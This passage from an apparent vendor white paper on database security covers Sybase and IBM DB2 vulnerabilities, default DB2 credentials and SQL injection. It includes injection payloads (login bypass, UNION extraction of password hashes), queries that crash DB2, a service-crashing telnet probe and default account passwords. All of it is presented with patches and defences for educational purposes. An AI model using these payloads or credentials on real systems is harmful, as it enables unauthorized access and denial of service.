Notice that the memory location has been modified to include 5858 which is the X we used in the buffer
overflow.

As we continue to increase the buffer size, we see that the address is completely overwritten by the buffer:

11451: MRFREEZE_XP: XP Server Error: 16142/10/1: Server process address
0x58585858 not in pool in 'srv_sendstatus' .

To fix this vulnerability, execute permissions on the extended stored procedure xp_freedll in the sybsystemprocs database should be revoked from public. You should also apply the following patches:

- 12.5.0.2 - 11/14/2002
- 12.0.0.6 ESD#1 - 11/5/2002

IBM DB2 SECURITY

This section will profile a handful of existing security controls together with a few recently discovered vulnerabilities in IBM DB2 databases.

AUTHENTICATION TYPES

The authentication type is the mechanism used to identify users. It defines a combination of where and how authentication occurs. The authentication type can be specified at the client or at the server. Which authentication type to use is limited based on the environment and the operating system of the server, and is something to be aware of for all versions of IBM DB2.

The authentication type is configured at both the client and the server. For the server, authentication is defined in the database manager configuration file. The database manager configuration file is associated with an instance. All databases under the instance share the configuration file. Therefore if you configure an authentication method for an instance, it will apply to all databases with the instance as well as all users within the database.

The authentication types currently supported by DB2 are as follows:

```
SERVER
SERVER_ENCRYPT
CLIENT
DCE
DCS
DCS_ENCRYPT
KERBEROS (new in 7.x - only for Windows 2000)
KRB_SERVER_ENCRYPT (new in 7.x - only for Windows 2000)
```

If the authentication type is set to CLIENT, two other parameters in the database manager configuration file are used. These parameters are TRUST_ALLCLNTS and TRUST_CLNTAUTH.

When selecting an authentication mechanism, it is important to select a secure mechanism. The first issue to consider is that client authentication should not be relied on. Any computer can be hooked up to the network and you cannot assume these clients are secured. Even if DB2 is configured to only trust specific “trusted” clients, this is ineffective since the client can be spoofed.

The second issue to consider is that the client credentials should be encrypted before being sent to the server. This is important to prevent someone from sniffing authentication credentials as they go over the network.

It is strongly recommended that you select one of the secure authentication modes including SERVER_ENCRYPT, DCS_SERVER_ENCRYPT, or KRB_SERVER_ENCRYPT. The other authentication types are not recommended since they result in security weaknesses.

You can update the authentication method for the instance using the Command Center or the Command Line Processor. Below are the commands to update the configuration:

```
UPDATE DBM CFG USING AUTHENTICATION [new method]
```

For the changes to take effect, the instance must be stopped and started as follows:

```
db2stop
db2start
```

You can also modify the AUTHENTICATION configuration parameter, using the Control Center as follows:

1. Open up the DB2 Control Center.
2. Find the instance whose configuration is to be modified and select it.
3. Choose the "Selected/Configure..." menu item.
4. Choose the "Administration" tab.
5. Select the "Authentication" value.
6. Under the "Value" section, set the new value.
7. Choose OK.
8. Restart the server.

You must be a member of the SYSADM group for the instance to make updates to the database manager configuration file.

The following are some websites that you can reference in regards to this feature within IBM DB2:

http://www7b.boulder.ibm.com/dmdd/library/techarticle/zikopoulos/0102_zikopoulos.html

<http://www-3.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/document.d2w/report?fn=db2v7d0db2d0120.htm>

DEFAULT IBM DB2 USERNAME AND PASSWORDS

For IBM DB2 UDB databases installed on Microsoft Windows:

- ❑ DB2 UDB is installed on Microsoft Windows with a well-known username of db2admin with a default password of db2admin.

For IBM DB2 UDB databases installed on UNIX, the following usernames and passwords are available by default:

- ❑ Account Name: db2as | Password: ibmdb2
- ❑ Account Name: db2fenc1 | Password: ibmdb2
- ❑ Account Name db2inst1 | Password: ibmdb2

After installing a database, you should immediately change any default usernames and passwords. If the password is not changed from the default value, a hacker can easily break into the database. Changing passwords can be performed using the native mechanisms such as through the UNIX password command or through Windows. However DB2 provides a method to change a password through a DB2 client:

To change the password, use the following command:

```
CONNECT TO [database] USER [userid] USING [password] NEW [new_password]
CONFIRM [new_password]
```

The password can also be changed using the "Password change" dialog of the DB2 Client Configuration Assistant (CCA).

LOCKING DOWN ON IBM DB2 DATABASE PRIVILEGES

The first step a would-be hacker will take when attempting to gain elevated privileges on an IBM DB2 database, would be to gain a list of accounts that can be brute-forced.

IBM DB2 databases do not have database-specific accounts in the same manner that other databases have database-specific accounts. IBM DB2 accounts are operating system accounts and authentication is performed under the operating system. For this reason, an IBM DB2 database does not have a specific table under which all accounts are listed. Instead, there are specific tables in which account names are listed. The following are tables in which account names are listed:

```
IBMSysDBAuth
IBMSysTabAuth
IBMSysINDEXAuth
IBMSysCOLAuth
IBMSysSCHEMAAuth
IBMSysPASSTHRUAuth
```

Efforts to secure IBM DB2 databases should include the removal of all permissions granted to "public", and carefully review all users within the SYSADM group. Privileges on all of the above listed system catalogs should also be revoked.

INSTALL ALL OF THE LATEST FIXPACKS FOR IBM DB2

IBM Releases FixPaks on a regular basis that provide various enhancements including security fixes. Staying up-to-date on the latest FixPak minimizes your risk of being vulnerable to buffer overflows and other attacks.

Because DB2 UDB FixPaks are cumulative, you do not need to install previous FixPks. Each FixPak includes all fixes from previously released FixPaks, and can be applied to an original installation or to one where previous FixPaks have been applied.

```
Usually addresses latest buffer overflows
Most current versions
V6.1 - Fix Pak 11
V7.1 - Upgrade to V7.2
V7.2 - Fix Pak 11
V8.1 - Fix Pak 5
Download from
http://www-4.ibm.com/cgi-
bin/db2www/data/db2/udb/winos2unix/support/download.d2w/
```

IBM DB2 CONTROL CENTER BUFFER OVERFLOW

DB2 provides the capability to remotely use the Control Center. The Control Center is a graphical user interface that is used to manage database objects (such as databases, tables, and packages) and their relationships to one another. The service that provides this capability is called the DB2 JDBC Applet Server - Control Center and can be started or stopped in the Services panel on Windows.

The service runs as the executable file db2ccs.exe and the service listens on port 6790. There is a buffer overflow that can be exploited by sending an invalid packet to the port. When a single byte is sent to the port, the service crashes. By sending a maliciously-crafted packet, arbitrary code can be executed under the security context of the service.

Below is an example that will crash the service:

```
# telnet example.com 6790
Connecting to example.com
garbage^]
#quit
```

This affects all versions of DB2, and to remedy this situation, apply the latest FixPak from IBM. This vulnerability was fixed in the following FixPaks:

For DB2 version 6.1:

- ❑ Fixed in FixPak 10

For DB2 version 7.x:

- ❑ Fixed in FixPak 4

IBM DB2 FixPaks are cumulative, so it is recommended you apply the latest FixPak. FixPaks can be downloaded from the following locations:

DB2 v7:

<http://www-4.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report#V7>

DB2 v6:

<http://www-4.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report#V6>

DB2CKPW BUFFER OVERFLOW

The db2ckpw utility in DB2 is used to verify usernames and passwords for the operating system. db2ckpw takes a file descriptor as a command line argument and reads the username and password information from that file descriptor.

A vulnerability has been discovered in db2ckpw running on most flavors of UNIX. A buffer overflow condition exists for the username parameter. The DB2 client drivers are trusted to not send a username greater than 8 characters. When the client drivers are circumvented and a username greater than 8 characters is sent to db2ckpw, a buffer is overflowed.

You cannot remove the setuid bit on this file. Doing so will result in not being able to connect to the database. Permissions on the file must be set as displayed below:

```
$ ls -al ~/sqlllib/security/db2ckpw
-rwsr-s--x 1 root build 15989 Oct 17 07:22 sqlllib/security/db2ckpw
```

Running with these permissions means that a malicious user can overflow a buffer and gain full control of the operating system as root.

This bug has been identified by IBM as DB2 APAR IY28423, and affects all versions of IBM DB2 on UNIX

To remedy this situation, apply the latest FixPak from IBM. This vulnerability was fixed in the following FixPaks:

For DB2 version 6.1:

- ❑ Fixed in FixPak 10

For DB2 version 7.x:

- ❑ Fixed in FixPak 7

FixPaks are cumulative, so it is recommended you apply the latest FixPak. FixPaks can be downloaded from:

DB2 v7:

<http://www-4.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report#V7>

DB2 v6:

<http://www-4.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report#V6>

IBM DB2 QUERY COMPILER DoS

DB2 provides a version of SQL with complex procedural extensions. This gives users of DB2 the ability to create stored procedures with complex logic. The SQL is compiled by the Query Compiler engine.

The Query Compiler contained a bug which resulted in a SELECT CASE statement crashing the database engine. This error occurred when the following query was executed and compiled.

```
SELECT CASE WHEN EXISTS (SELECT * FROM LOCAL_TAB1 EXCEPT SELECT * FROM
LOCAL_TAB2) THEN 1 ELSE 0 END FROM (VALUES 1) AS X
```

Compiling of the SELECT CASE crashes in the function sqlnr_hxp_case_subqppd() causing the database to stop.

This bug was assigned the name DB2 APAR IY28380, and affects all versions of DB2.

To remedy this situation, apply the latest FixPak from IBM. FixPaks are cumulative, so it is recommended you apply the latest FixPak.

For DB2 version 7.x, this fix was made in FixPak 7. This FixPak can be downloaded from the following location:

<http://www-4.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report#V7>

For DB2 version 6.x, there is no fix available. If you have this version, you should upgrade to version 7.2.

IBM DB2 DATE/VARCHAR DOS

DB2 provides a version of SQL with complex procedural extensions. This gives users of DB2 the ability to create stored procedures with complex logic. The SQL is compiled by the Query Compiler engine.

A normal user may be able to crash the database by executing a malicious query. If a query contains a datetime type and varchar type, the database has a problem processing the query and ceases to function. This error occurs when the following query was executed and compiled.

```
SELECT * FROM EMPLOYEE WHERE YEAR(BIRTHDATE)=1999 AND FIRSTNME<' '
```

Handling of the YEAR function crashes causing the database to stop.

This vulnerability also affects all versions of IBM DB2, and to remedy this situation, apply the latest FixPak from IBM. For DB2 version 6.1, this was fixed in FixPak 8. You can download this FixPak from the following location:

<http://www-4.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report#V6>

For DB2 version 7.x, this was fixed in FixPak 3, and can be downloaded from the following location:

<http://www-4.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report#V7>.

SQL INJECTION

Just because your database is behind a firewall does not mean that you do not need to worry about it being attacked. There are several other forms of attacks that can be executed through the firewall. The most common of these attacks today is SQL Injection. SQL Injection is not an attack directly on the database. SQL Injection is caused by the way web applications are developed. Unfortunately, since you are trying to protect the database, you need to be aware of these issues, know how to detect them, and fix the problems.

SQL Injection works by attempting to modify the parameters passed to a web application to change the SQL statements that are passed to the database. For instance, you may want the web application to select from the ORDERS table for a specific customer. If the hacker enters a single quote into the field on the web form, and then enters another query into the field, it may be possible to cause the second query to execute.

The simplest way to verify whether or not you are vulnerable is to embed a single quote into each field on each form and verify the results. Some sites will return the error results claiming a syntax error. Some sites will catch the error, and not report anything. Of course, these sites are still vulnerable, but they are much harder to exploit if you do not get the feedback from the error messages.

This attack works against any database. How this attack works varies slightly from database to database, but the fundamental problem is the same for all.

SQL INJECTION SAMPLE1

So how does the exploit work?

SQL Injection is based on a hacker attempting to modify a query, such as:

```
Select * from my_table where column_x = '1'
```

to:

```
Select * from my_table where column_x = '1' UNION select password from DBA_USERS  
where 'q'='q'
```

In the preceding example, we see a single query being converted into 2 queries. There are also ways to modify the 'WHERE' criteria to update or delete rows not meant to be updated or deleted. With other databases you can embed a second command into the query. Oracle does not allow you to do this. Instead an attacker would need to figure out how to supplement the end of the query. Note the 'q' = 'q' at the end. This is used because we must handle the second single quote that the ASP page is adding onto the end of the page. This clause simply evaluates to TRUE.

Here is an example of a Java Server Page that you might typically find in a web application. Here we have the case of a typical authentication mechanism used to login to a web site. You must enter your password and your username. Using these two fields we get a SQL statement that selects from the tables where the username and password match the input. If a match is found, the user is authenticated. If the recordset in our code is empty, then an invalid username or password must have been provided and the login is denied. Of

course, a better idea would be to use the authentication built into the web server, but this form of "home grown" authentication is very common:

```
Package myserverlets;
<...>
String sql = new String("SELECT * FROM WebUsers WHERE Username='" +
request.getParameter("username") + "' AND Password='" +
request.getParameter("password") + "'")
stmt = Conn.prepareStatement(sql)
Rs = stmt.executeQuery()
```

Exploiting the problem is much simpler if you can access the source of the web page. You should not be able to see the source code, however there are many bugs in most of the common web servers that allow an attacker to view the source of scripts, and we assume that there are still many that have not been discovered.

The problem with our ASP code is that we are concatenating our SQL statement together without parsing out any single quotes. Parsing out single quotes is a good first step, but it's recommended that you actually use parameterized SQL statements instead.

For the following web page, I set the username to:

Bob

I also set the password to:

Hardtoguesspassword

The SQL statement for these parameters resolves to:

```
SELECT * FROM WebUsers WHERE Username='Bob' AND Password='Hardtoguess'
```

Now what if an attacker enters some letters together with using a single quote to end the string literal, and then inserts another Boolean expression in the where clause instead of using a regular password. Obviously, this boolean expression is TRUE which returns all the rows in the table. For instance, if an attacker instead enters the password as:

```
Aa' OR 'A'='A
```

The SQL statement now becomes:

```
SELECT * FROM WebUsers WHERE Username='Bob' AND Password='Aa' OR 'A'='A'
```

As you can see, this query will always return all the rows in the database, with the attacker convincing the web application that a correct username and password was passed in. The kicker is that when the recordset contains the entire set of users, the first entry in the list will typically be the Administrator of the system, so there is a good chance the attacker will be authenticated with full administrative rights to the application.

SQL INJECTION SAMPLE2

Various twists on SQL Injection can also be performed. An attacker can select data other than the rows from the table being selected from by using a UNION. Here's another example of how to pull data back from other tables that are not directly involved in the current query. The best way to exploit this issue is to find a screen that contains a dynamic list of items, such as a list of open orders or the results of a search.

The trick here for the attacker is to make the single query into two queries and UNION them. This is somewhat difficult because you must match up the number of columns and column types. However, if the server provides you the error messages, the task is relatively simple. The error returned will resemble the following message:

```
Number of columns do not match
```

or:

```
2nd column in UNION statement does not match the type of the first statement.
```

This time we will look at a sample Active Server Page that might typically be found in an application.

```
Dim sql
Sql = "SELECT * FROM PRODUCT WHERE ProductName='" & product_name & "'"
Set rs = Conn.OpenRecordset(sql)
` return the rows to the browser
```

Once again, we will assume we have access to the source code. An attacker does not really need the source code, but it does make our lives easier for demonstration purposes. Once again we are not using parameterized queries, but instead are concatenating a string to build our SQL statement.

We try entering valid input by setting the product_name to:

```
DVD Player
```

The SQL Statement is now:

```
SELECT * FROM PRODUCT WHERE ProductName='DVD Player'
```

An attacker would instead want to get a copy of the password hashes from your databases. Once he has these hashes, he can start cracking them. The hacker would set the product_name to:

```
test' UNION select username, password from dba_users where 'a' = 'a
```

The SQL Statement is now:

```
SELECT * FROM PRODUCT WHERE ProductName='test' UNION select username, password
from dba_users where 'a'='a'
```

Instead of entering a single word, the attacker used a single quote to end the string literal. The attacker then adds a UNION command and a second statement. Notice at the end that he must still handle the fact that the code will place another single quote at the end, so we end our second SQL query with:

```
`a' = `a
```

This last clause evaluates to TRUE causing all rows to be returned from the dba_users table.

PREVENTING SQL INJECTION

Preventing SQL injection from happening is simple once you understand the problem. There are really two strategies you can use to prevent the attacks:

- ❑ Validate User Input
- ❑ Use parameterized queries

Validating user input involves parsing a field to restrict the valid characters that are accepted. In most cases, fields should only accept alphanumeric characters.

Also you can escape single quotes into two single quotes although this method is riskier since it is much easier to miss parsing input somewhere.

Using parameterized queries involves binding variables rather than concatenating SQL statements together as strings.

The biggest challenge will be reviewing and updating all the old CGI scripts, ASP pages, etc... in your web applications to remove all instance of this vulnerability. It is also suggested that you setup a programming guideline for web programmers that includes emphasis on using parameterized queries and not constructing SQL by concatenating strings with input values.

DATABASE WORMS

In the recent past, a new set of threats have emerged – worms that propagate through vulnerabilities in databases rather than through more traditional operating system or web server holes. Despite their lack of sophistication, these worms have been somewhat successful because of the poor state of database security. Security in databases has generally been ignored and the threat management of these applications has been non-existent.

The damage caused by a worm is dependent on several factors:

- 1) The number of targets for the worm
- 2) The success rate of infection
- 3) The resilience of the worm

A critical factor in the effect of a worm is the quantity of potential targets. Most people assume that databases are always behind firewalls. Unfortunately this is not always the case. Databases are a critical piece of an organizations infrastructure and cannot always be hidden behind a firewall.

The success rate of infection is critical to whether or not the worm is able to spread through to other systems. The Spida worm was effective because a large number of Microsoft SQL Server databases have blank “sa” passwords. Those databases with non-blank passwords were not infected.

The last factor is the resilience of the worm. Is it hard to detect? Does it leave a back door? Are there any bugs that cause the infection to fail on certain databases? A well-developed worm is much harder to fight than a “noisy” and “sloppy” worm that is easy to remove from the system.

CONCLUSION

The truth is, there are not many resources out there to keep up with database security. There are a few simple tasks that can be performed to reduce your security risk at a reasonable level.

- ❑ Stay patched
- ❑ Stay aware of database security holes.
- ❑ To ask questions on database security, check out:
- ❑ Explore possible third-party solutions

Provide multiple levels of security:

- ❑ Perform audits and pen tests on your databases regularly
- ❑ Encryption of data in motion
- ❑ Encryption of data at rest within the database
- ❑ Monitor your log files
- ❑ Implement intrusion detection

Databases are extremely complex beasts, and generic auditing, vulnerability assessment, and IDS solutions just don't cut it. It is strongly recommended that you find a vendor that caters directly to these specific applications or find a strong partner that understands databases. Databases are your most valuable assets, and you should place significantly more effort towards securing them.

By staying informed and aware of security vulnerabilities to you databases, you should be able to keep the risks to a minimum.

RESOURCES

Protecting Databases Presentation

<http://www.appsecinc.com/presentations/ProtectingDatabases.pdf>

Introduction to Database and Application Worms White Paper

http://www.appsecinc.com/presentations/DB_APP_WORMS.pdf

Protecting Oracle Databases

http://www.appsecinc.com/presentations/Protecting_Oracle_Databases_White_Paper.pdf

Writing Secure Code in Oracle Presentation

http://www.appsecinc.com/presentations/Secure_Oracle_Code.pdf

Hunting Flaws in Microsoft SQL Server White Paper

http://www.appsecinc.com/presentations/Hunting_Flaws_in_SQL_Server.pdf

Manipulating Microsoft SQL Server using SQL Injection

http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf

Program to decrypt SQL Server Agent connection passwords

http://jimmers.narod.ru/agent_pwd.c

Hack-Proofing IBM DB2 Presentation

http://www.appsecinc.com/presentations/Securing_IBM_DB2.pdf

AppDetective IBM DB2 Security Checks

<http://www.appsecinc.com/products/appdetective/db2/pentest.html>

<http://www.appsecinc.com/products/appdetective/db2/audit.html>

SHATTER Team Security Alerts on Sybase Databases

<http://www.appsecinc.com/resources/alerts/sybase/>

Registry Monitor tool (Regmon.exe)

www.sysinternals.com

ABOUT APPLICATION SECURITY, INC. (APPSECINC)

AppSecInc is the leading provider of database security solutions for the enterprise. AppSecInc products proactively secure enterprise applications by discovering, assessing, and protecting the database against rapidly changing security threats. By securing data at its source, we enable organizations to more confidently extend their business with customers, partners and suppliers. Our security experts, combined with our strong support team, deliver up-to-date application safeguards that minimize risk and eliminate its impact on business. Please contact us at 1-866-927-7732 to learn more, or visit us on the web at www.appsecinc.com.

AppDetective is a trademark of Application Security, Inc. All other company product names are trademarks of their respective companies.